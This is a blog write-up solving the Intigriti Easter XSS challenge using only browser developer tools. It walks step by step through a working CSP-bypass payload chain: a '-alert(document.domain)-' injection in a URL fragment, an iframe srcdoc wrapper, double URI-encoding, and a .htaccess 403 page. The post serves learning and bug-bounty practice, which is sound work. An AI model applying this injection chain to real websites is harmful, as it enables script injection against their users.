Solving Intigriti Easter XSS Challenge without Burp Suite!

Disclaimer: All the content posted here is strictly for educational purposes only. The author is not responsible for any harm caused using this content in any other way apart from the one intented.
Introduction
The Intigriti Easter XSS challenge was open from April 13 to Aril 19. I know I’m a little late to the party but this challenge took a lot of time for me to understand. Like many, I couldn’t solve it during the challenge days and waited for someone to post a writeup so that I can follow along and solve it. But that someone was none other than our dear @stok! To solve this challenge, there are some conditions we’re given. Let’s start by looking at the hints and let the fun begin!
UPDATE - Intigriti’s May XSS challenge is live!
The Hints
We are already provided with some Hints.
Why no self XSS ?
The need for an external delivery mechanism for the attack means that the impact of reflected XSS is generally less severe than stored XSS, where a self-contained attack can be delivered within the vulnerable application itself.
OK, so we want the impact to be more severe, hence no self-XSS.
The second hint and the most important one to note - Should bypass CSP. Hmm sounds cool. But what is CSP?
Mozilla Developer Network - CSP
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement to distribution of malware. CSP is designed to be fully backward compatible (except CSP version 2 where there are some explicitly-mentioned inconsistencies in backward compatibility; more details here section 1.1). Browsers that don’t support it still work with servers that implement it, and vice-versa: browsers that don’t support CSP simply ignore it, functioning as usual, defaulting to the standard same-origin policy for web content. If the site doesn’t offer the CSP header, browsers likewise use the standard same-origin policy. To enable CSP, you need to configure your web server to return the Content-Security-Policy HTTP header (sometimes you will see mentions of the X-Content-Security-Policy header, but that’s an older version and you don’t need to specify it anymore).
So, the site here has enabled CSP and we;re asked to bypass it.
Heading over to the Dev tools - (the fun part) - Press F12 -> Network > select our URL under the name ‘challenge.intigriti.io’
We see the content-security-policy: default-src ‘self’ - meaning a web site administrator wants all content to come from the site’s own origin (this excludes subdomains).
To know more about the CSP being implemented we can go to https://csp-evaluator.withgoogle.com/
Paste the site’s url https://challenge.intigriti.io/ in the box and click Check CSP. It evaluates the CSP for us.
The ‘object-src’ is really for older browsers so we can ignore it.
Let the Games begin!
Firstly, let’s start playing around.
We can just write an alert("@inti and @stok rocks!"); to check if the js is running correctly. We see the sweet pop-up.
But we need to bypass the CSP in order to solve this challenge.
The good guy @securinti used this csp bypass payload ->
var cspBypass = `<script src="https://challenge.intigriti.io/script.js"</script>`
And then
document.write(cspBypass);
so the final script ->
var cspBypass = `<script src="https://challenge.intigriti.io/script.js"</script>`;
document.write(cspBypass);
Before we jump into that let’s try putting the alert in place of the URL in the <script>
tags
var cspBypass = `<script src=alert("@inti and @stok rocks!")</script>`
Not allowed, as it violates the CSP directive.
The ‘alert’ code will not be on the server so will not execute as per the CSP directive the site implements.
So, it is confirmed that the CSP bypass payload must be on the site’s page https://challenge.intigriti.io/ and not somewhere else.
Let’s start looking around for some interesting stuff. The page contains a dropdown list - 6 options are inside and the description is printed right underneath it.
We can also observe the ‘/#3’ on the URL bar. Here - 3rd option is selected and as per the JS code it will return that {option_no.txt}. And we know that the no. of options are 6.
Feel free to ZOOM-IN if you can’t view the screenshot.
Can we write something else than 1 to 6 here?
I literally tried writing something_else
and after a hard refresh (ctrl+shift+R), we see an error message 404.
But if we observe closely, it is not a valid 404 error page, it’s just some text returned by the JS code.
It looks normal at a glance but looking closely, we can see that ‘404’ is an integer and the ‘-’ sign followed by the ‘string in quotes’. So let’s check if that returned text is valid JS or not in our dev tools console.
Just copy-paste the text in the console and hit enter
We don’t see any error message except the strange
NaN
- standing for ‘Not a Number’, meaning the JS is absolutely valid here. The 404 is coloured and so is the string. But the result of this JS code is NaN because ‘we’ are trying to subtract a ‘string’ from an integer which is impossible.
Moving on, I just double clicked on our something_else.txt
to bring a new tab for injecting code directly on the URL bar.
So till now we have a valid javascript code with us only with a NaN. That’s fine for now.
Next, we’ll try to add a JS code that makes some sense -> an alert() maybe?
It works! We have the sweet pop-up again.
So what I did here is that I broke the string into 2 parts by adding a single quote (') and a ‘+’, wrote the JS code and again completed the string with a ‘+’ and a quote (').
I appended this on the URL ->'+alert(document.domain)+'
-> we still get the 404 JS message but when we copy that JS in the console, we see the pop-up!
Observe the difference between the 2 lines -> the first gave us a NaN
for subtracting string from a number but the second line did not show us any error and rendered the alert box.
Going back a bit we know that we don’t want self-XSS and must do the CSP bypass.
Let’s replace the script tag contents in the cspBypass
with the URL containing the alert() code and run it.
var jsLocation = "https://challenge.intigriti.io/reasons/something_else.txt'+alert(document.domain)+'";
var cspBypass = `<script src="${jsLocation}"</script>`;
document.write(cspBypass);
Struggled a lot here because it was just not working.
Then it struck me that I was using ‘+’ that means string append. Maybe JS is not considering this a valid string and not rendering it, so I replace it with a ‘-’ and it worked!
I ran it twice for it to work. Strange behaviour sometimes.
So the final payload ->
var jsLocation = "https://challenge.intigriti.io/reasons/something_else.txt'-alert(document.domain)-'";
var cspBypass = `<script src="${jsLocation}"</script>`;
document.write(cspBypass);
Running test JS code we used earlier again ->
Using ‘+’ -> pop up appeared and after closing it, we see the result ->
Using ‘-’ gave me NaN
-> pop up appeared and after closing it ->
Maybe due to the earlier result, JS was not triggering the alert when we tried to CSP bypass it.
I thought that the challenge was over here for a second but I learnt that till now, we have done only a POC for the CSP bypass but we still have only a self-xss.
OK. So this still won't be run from the server.
Figuring out how we do it -> In the dev tools heading over to the script.js ->
We have the
innerHTML
parameter of theElement
class
With all the above information, remove the document.write()
and add the reason
variable into our code and pass it the cspBypass
.
var jsLocation = "https://challenge.intigriti.io/reasons/something_else.txt'-alert(document.domain)-'";
var cspBypass = `<script src="${jsLocation}"</script>`;
var reason = document.getElementById("reason");
reason.innerHTML = cspBypass;
Hard refresh and run.
It doesn’t work.
But why?
It seems that it doesn’t load external scripts and features. We must invoke it after the page has loaded.
An <iframe>
maybe? The <iframe>
tag specifies an inline frame. An inline frame is used to embed another document within the current HTML document. With the <iframe>
we will use the srcdoc
attribute for the HTML injection in order to perform XSS from the server side (stored).
We will do this as follows - In the JS console -
- Create a new
<iframe>
element.
- Assign the
cspBypass
payload toiframe.srcdoc
.
- And assign the
iframe.outerHTML
i.e (framedCspBypass
) toreason.innerHTML
.
var jsLocation = "https://challenge.intigriti.io/reasons/something_else.txt'-alert(document.domain)-'";
var cspBypass = `<script src="${jsLocation}"</script>`;
var iframe = document.createElement("iframe"); //iframe element created
iframe.srcdoc = cspBypass;
var framedCspBypass = iframe.outerHTML;
var reason = document.getElementById("reason");
reason.innerHTML = framedCspBypass;
We get the following result ->
"<iframe srcdoc="<script src="https://challenge.intigriti.io/reasons/something_else.txt'-alert(document.domain)-'"</script>"></iframe>"
It did not work earlier.
Turned out it was a stupid syntax error -> I had forgotten to close the <script src = "....">
.
Rest assured, I have fixed it in the above code already. A big lesson learnt - always pay attention to the syntax.
As we can see after running the above script, we have an iframe
which contains our XSS payload but we can’t stop here we have to make an HTML injection to exploit it.
Inspecting the iframe
element ->
OK, so where can we have our our HTML injection?
Earlier, we had got a 404 message which contained only JS code.
How can we get a similar message - only this time a real one - when we try to access something which is not present on the server?
Answer: Either a ‘page not found 404’ or a ‘forbidden 403’.
Let’s try 403 first -> by accessing /.htaccess
.
An .htaccess (hypertext access) file is a directory-level configuration file supported by several web servers, used for configuration of website-access issues, such as URL redirection, URL shortening, access control (for different web pages and files), and more. The ‘dot’ (period or full stop) before the file name makes it a hidden file in Unix-based environments.
I tried to also put some JS and it did not run here. It took it as plaintext.
How can we bypass that? We go back to the script.js and observe that the script is using unescape()
to decode strings.
Now, the browser by default single-decodes characters in the address bar so in order to trick the browser we must double encode the URI component.
Ok.
So till now, we could bypass the CSP, get the iframe
for HTML injection. But when we try to inject HTML it won’t execute, as it requires decoding we discussed above.
For Demo purposes looking at the homepage ->
To solve it, we have to define 2 functions and give 1 call. That’s it.
//1.
function getXSS(content){
window.open("https://challenge.intigriti.io/#.htaccess"+content);
}
//or window.open("https://challenge.intigriti.io/#.ht"+content);
//2.
function doubleEncode(string){
return encodeURIComponent(encodeURIComponent(string));
}
//3. call -
getXSS(doubleEncode(framedCspBypass));
So, the FINAL CODE ->
var jsLocation = "https://challenge.intigriti.io/reasons/something_else.txt'-alert(document.domain)-'";
var cspBypass = `<script src="${jsLocation}"></script>`;
var iframe = document.createElement("iframe");
iframe.srcdoc = cspBypass;
var framedCspBypass = iframe.outerHTML;
function getXSS(content){
window.open("https://challenge.intigriti.io/#.htaccess"+content);
}
//or window.open("https://challenge.intigriti.io/#.ht"+content);
function doubleEncode(string){
return encodeURIComponent(encodeURIComponent(string));
}
Now, call the getXSS
function -
getXSS(doubleEncode(framedCspBypass));
After calling the getXSS
function, it opens a new tab and it triggers the XSS!
We have solved the challenge!
The End.
Closing Remarks
I hope you all enjoyed this and learnt something really cool!
A big-big shoutout to @stok and @securinti for simplifying this Himalayan challenge! I had watched the video at least 13-15 times while taking notes and watched again while writing this blog. That’s why it took so long for this post.
Takeaways:
- We learnt what is CSP and how to bypass it.
- We understood the importance of stored-XSS exploits.
- We learnt a little bit of JavaScript and how to write JS functions.
- We got to know about
iframe
and theunescape
function.- Above all, we did everything using only the browser’s developer tools and not Burp Suite!
Please provide your feedback if you like it or have any suggestions.
Please share this post on your favourite social-media platforms and with your friends.
Many thanks once again.
Good-bye until next time.
Stay n00b. Stay Humble.